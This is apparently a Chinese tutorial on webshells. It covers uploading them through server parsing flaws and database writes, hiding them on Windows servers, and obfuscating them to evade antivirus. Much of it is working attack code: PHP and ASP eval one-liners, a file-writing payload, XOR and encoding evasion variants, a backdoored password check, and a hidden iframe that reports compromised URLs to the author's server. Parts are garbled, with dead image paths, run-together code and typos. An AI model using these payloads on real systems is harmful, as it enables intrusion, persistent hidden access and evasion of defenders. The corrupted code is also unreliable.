一、什么是webshell
- webshell簡介
webshell,顧名思義:web指的是在web服務器上,而shell是用腳本語言編寫的腳本程序,webshell就是就是web的一個管理工具,可以對web服務器進行操作的權限,也叫webadmin。webshell一般是被網站管理員用於網站管理、服務器管理等等一些用途,但是由於webshell的功能比較強大,可以上傳下載文件,查看數據庫,甚至可以調用一些服務器上系統的相關命令(比如創建用戶,修改刪除文件之類的),通常被黑客利用,黑客通過一些上傳方式,將自己編寫的webshell上傳到web服務器的頁面的目錄下,然后通過頁面訪問的形式進行入侵,或者通過插入一句話連接本地的一些相關工具直接對服務器進行入侵操作。
- webshell的分類
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<form action=http://主機路徑/TEXT.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")//建立流對象
lP.Open //打開
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字體標准
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2 //將木馬內容以覆蓋文件的方式寫入newmm.asp,2就是已覆 蓋的方式
lP.Close //關閉對象
set lP=nothing //釋放對象
response.redirect "newmm.asp" //轉向newmm.asp
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>(添入生成木馬的內容)
</textarea>
<BR>
<center>
<br>
<input type=submit value=提交>
|
大馬的工作模式簡單的多,他沒有客戶端與服務端的區別,就是一些腳本大牛直接把一句話木馬的服務端整合到了一起,通過上傳漏洞將大馬上傳,然后復制該大馬的url地址直接訪問,在頁面上執行對web服務器的滲透工作。但是有些網站對上傳文件做了嚴格的限制,因為大馬的功能較多,所以體積相對較大,很有可能超出了網站上傳限制,但是小馬的體積可以控制(比如把代碼復制很多遍,或者在一個亂碼文件中夾入代碼),但是小馬操作起來比較繁瑣,可以先上傳小馬拿到webshell,然后通過小馬的連接上傳大馬拿到服務器。
二、如何上傳webshell
1.解析漏洞上傳
(1)iis目錄解析漏洞
(2)文件解析漏洞
比如:xx.asp;.jpg。在網頁上傳的時候識別的是jpg文件,但是上傳之后iis不會解析;之后的字符,同樣會把該文件解析成asp文件,這個漏洞存在於iis5.x/6.0版本。
(3)文件名解析
(4)fast-CGI解析漏洞
在web服務器開啟fast-CGI的時候,上傳圖片xx.jpg。內容為:
1
|
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>
|
這里使用的fput創建一個shell.php文件,並寫入一句話。訪問路徑xx.jpg/.php,就會在該路徑下生成一個一句話木馬shell.php。這個漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。語言環境:PHP,prel,Bourne Shell,C等語言。
(5)apache解析漏洞
2.截斷上傳
3.后台數據庫備份
4.利用數據庫語句上傳
(1) mysql數據庫into outfile
(2)建立新表寫入木馬
(3)phpMyadmin設置錯誤
三、webshell的“安全”
1.關於webshell的隱藏
(1)大馬的隱藏
①不死僵屍
windows系統存在系統保留文件夾名,windows不允許用這些名字來命名文件夾保留文件夾:aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。但是這些可以使用windows的copy命令創建,比如:
1
|
c:\>copy 3.asp \\.\C:\aux.asp
|
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image020.png
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image022.jpg
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image023.png
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image024.png
②clsid隱藏
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image026.jpg
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image027.png
點開進入的是控制面板,但是其實該文件還是文件夾,里面還存在大馬,而且創建一個這樣一個帶有clsid的文件夾將其命名為相應的程序可以迷惑網絡管理員的實現,比如進入回收站文件夾中創建這樣一個帶有回收站clsid的文件夾,在里面里面再copy一個保留字asp,還可以使用
1
|
attrib +h +s +r +d/s /d
|
修改該文件的屬性,將其隱藏,一般windows都是默認不顯示隱藏文件的,而且回收站文件夾是自動創建的,這樣可以達到隱藏一個不死webshell到服務器中去。
③驅動隱藏技術
1
|
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image028.png
|
權限的設置有可讀accessable,可寫writable,可刪deletable,可見visible。
1
|
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image030.jpg
|
上圖可以看到我們將其隱藏了,如前文所說,因為直接繞過了遍歷,那么訪問絕對路徑卻可以訪問。我的理解是:
1
2
3
4
|
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
|
這4個文件代替了遍歷查詢,要訪問隱藏后的文件,輸入絕對路徑並不是應用絕對路徑查詢,而是通過上面4個文件進行的查詢,相當於給隱藏文件做了一個單獨的驅動。
④注冊表隱藏
(2)一句話木馬的隱藏
①頭文件包含隱藏
php包含語句:
1
|
<?php include($include);?>
|
這里的$include可以是外部路徑比如:
這個aaa上的1.php內容為
1
|
<?php include($include);?>
|
,表示包含。bbb是外部服務器的,前提是這個服務器不能支持PHP。否則將會在bbb這個服務器上執行hehe.php(即一句話馬),而aaa不執行。
②配置文件隱藏一句話(PHP)
auto_prepend_file =hehe.php
include_path = “E:\PHPnow-1.5.6\htdocs;”
③404小馬
四、關於webshell的免殺一句話免殺
1.構造法繞過檢測(PHP)
1
2
3
4
5
6
7
8
|
<?php
@$_++; // 這里++讓’_’自加1
$__=("#"^"|"); // _
$__=("."^"~"); // P
$__=("/"^"`"); // O
$__=("|"^"/"); // S
$__=("{"^"/"); // T
?>
|
1
2
3
|
<?php @$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值為_POST
@${$__}[!$_](${$__}[$_]);?>
|
@$_POST[0]($POST[1])
但是這樣的繞過方法相當弱,仔細想一下,就算是兩個字符的二進制值異或,但是我們要用某個字符,還是應用那個字符的值,比如
1
|
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/")
|
的二進制值與_POST字符的值一樣的,要是檢測程序會檢測二進制碼的值,還是會被殺掉。
2.正則表達式代替法(PHP)
1
2
3
4
|
<?php
function funfunc($str){}
echopreg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>
|
<title>{${phpinfo()}}</title>
funfunc({${phpinfo()}})
3.即時生成法(PHP)
4.回避法(asp)
1
|
<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>
|
1
|
<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>
|
5.拆分法(asp)
1
2
|
<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>
|
6.亂碼變形(ANSI->Unicode加密)
1
|
<%eval request("#")%>變形為“┼攠數畣整爠煥敵瑳∨∣┩愾”
|
1
|
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>
|
1
|
<%eval (eval(request("brute"))%>
|
7.大馬免殺
(1)base4code編碼
大馬的免殺可以通過將大馬的代碼進行壓縮,壓縮之后在進行base4的加密算法,然后在大馬的末尾添加
1
|
@eval(gzinflate(base64_decode($code)));
|
(2)ROT13編碼(php)
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image031.png
(3)其他編碼
五、關於webshell的后門
1
2
3
4
5
6
7
|
end function
if session("hehe")<>userpassthen
ifrequest.form("pass")<>"" then
if request.form("pass")=userpassor request.form("pass")="1111111" Then
session("hehe")=userpasss
response.redirect url
else
|
這里
1
|
request.form("pass")=userpass
|
原本是為了將pass的值進行驗證,如果輸入的pass值等於userpass的情況,就代表驗證成功,但是后面
1
|
orrequest.from(“pass”)=”1111111”
|
表示如果輸入的pass值為1111111,也可以登錄大馬。當然,這個地方不可能會這么簡單,原作者完全可以把userpass賦值成為兩個,添加一個userpass改變的觸發條件,在他登錄的時候觸發這個條件(比如說如果登錄失敗的時候將觸發userpass值的更新),這樣就可以添加一個后面,而且觸發條件的代碼與驗證代碼分隔的較遠,也不好查找,這個時候就需要我們把大馬的代碼逐行分析。
然后再用框架掛馬:
1
|
<iframe src=后門地址 width=0 height=0></iframe>
|
這個地方將鏈接的地址寬度和高度全設置為0,就該頁面就隱藏了。里面的“后門地址”指向自己的腳本收信器,最后將收信腳本放到自己搭建的一個公網服務器上面,收信腳本如下:
1
2
3
4
5
6
7
8
|
<%url=Request.ServerVariables("HTTP_Referer")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)
file.writeline url
file.close
set file=nothing
set fs=nothing
%>
|
其中
1
|
url=Request.ServerVariables("HTTP_Referer")
|
表示請求的字符轉內容,即大馬的url地址,然后把url地址保存到當前目錄的hehe.txt。